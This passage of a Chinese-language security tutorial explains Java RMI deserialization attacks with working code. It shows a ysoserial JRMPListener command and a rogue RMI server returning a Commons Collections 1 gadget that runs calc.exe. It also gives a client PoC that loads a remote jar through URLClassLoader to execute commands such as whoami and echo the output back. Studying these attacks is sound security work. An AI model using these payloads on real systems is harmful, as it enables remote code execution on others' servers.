都会返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会进行反序列化,如果我们能控制注册中心的返回数据,那么就能实现对客户端的攻击,这里使用 ysoserial 的 JRMPListener ,因为 EXP 实在太长了。命令如下:
java -cp ./ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'calc'
然后使用客户端去访问:
package com.RMI;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Client {
public static void main(String[] args) throws RemoteException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
registry.list();
}
}
服务端攻击客户端
分为以下两种情景:
- 服务端返回Object对象
- 远程加载对象
服务端返回Object对象
在RMI中,远程调用方法传递回来的不一定是一个基础数据类型(String、int),也有可能是对象,当服务端返回给客户端一个对象时,客户端就要对应的进行反序列化(也就是前面提过的那堆类型判断,最后的 else 分支存在反序列化)
所以我们需要伪造一个服务端,当客户端调用某个远程方法时,返回的参数是我们构造好的恶意对象。这里以CC1为例:
先准备一个 User 接口,用来返回 Object 对象
public interface User extends java.rmi.Remote {
public Object getUser() throws Exception;
}
服务端实现 User 接口,返回 CC1 的恶意 Object 对象
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.Serializable;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class ServerReturnObject extends UnicastRemoteObject implements User {
public String name;
public int age;
public ServerReturnObject(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public Object getUser() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
return (Object) handler;
}
}
然后服务端将恶意对象绑定到注册中心
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class EvilClassServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
User liming = new ServerReturnObject("liming",15);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("user",liming);
System.out.println("registry is running...");
System.out.println("liming is bind in registry");
}
}
客户端获取对象并调用 getUser()
方法,将反序列化服务端传来的恶意远程对象
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
// 服务端打客户端,返回 Object 对象
public class EvilClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);
User user = (User)registry.lookup("user");
user.getUser();
}
}
那么,只要目标服务器上存在一些危险方法,我们通过RMI就可以对其进行调用
工具:https://github.com/NickstaDB/BaRMIe
其中一个功能就是进行危险方法的探测
codebase加载远程对象
这个东西有点古老,可以追溯到 Java 能运行在浏览器中的时候,而且利用条件太苛刻,暂时先不学这个
无论是客户端还是服务端要远程加载类,都需要满足以下条件:
- 由于Java SecurityManager的限制,默认是不允许远程加载的,如果需要进行远程加载类,需要安装RMISecurityManager并且配置
java.security.policy
,这在后面的利用中可以看到。 - 属性
java.rmi.server.useCodebaseOnly
的值必需为false。但是从JDK 6u45、7u21开始,java.rmi.server.useCodebaseOnly
的默认值就是true。当该值为true时,将禁用自动加载远程类文件,仅从CLASSPATH和当前虚拟机的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止虚拟机从其他Codebase地址上动态加载类,增加了RMI ClassLoader的安全性。
攻击服务端
?给的例子直接调用服务端的类来打,感觉不靠谱
利用 URLClassLoader实现回显攻击
攻击注册中心时,注册中心遇到异常会直接把异常发回来,返回给客户端
这里我们利用 URLClassLoader 加载远程 jar,传入服务端,反序列化后调用其方法,在方法内抛出错误,错误会传回客户端
远程加载的jar demo:
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}
通过如下命令制作成jar包:
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
客户端poc:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URLClassLoader;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;
public class LoaderClient {
public static Constructor<?> getFirstCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
public static void main(String[] args) throws Exception {
String ip = "127.0.0.1"; //注册中心ip
int port = 1099; //注册中心端口
String remotejar = "http://127.0.0.1/RMIexploit.jar";
String command = "whoami";
final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
try {
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(java.net.URLClassLoader.class),
new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }),
new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) }}}),
new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } })
};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
Registry registry = LocateRegistry.getRegistry(ip, port);
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Target.class, outerMap);
Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, h));
registry.bind("liming", r);
} catch (Exception e) {
try {
System.out.print(e.getCause().getCause().getCause().getMessage());
} catch (Exception ee) {
throw e;
}
}
}
}
python起一个本地web服务
启动 registry 的服务,然后运行poc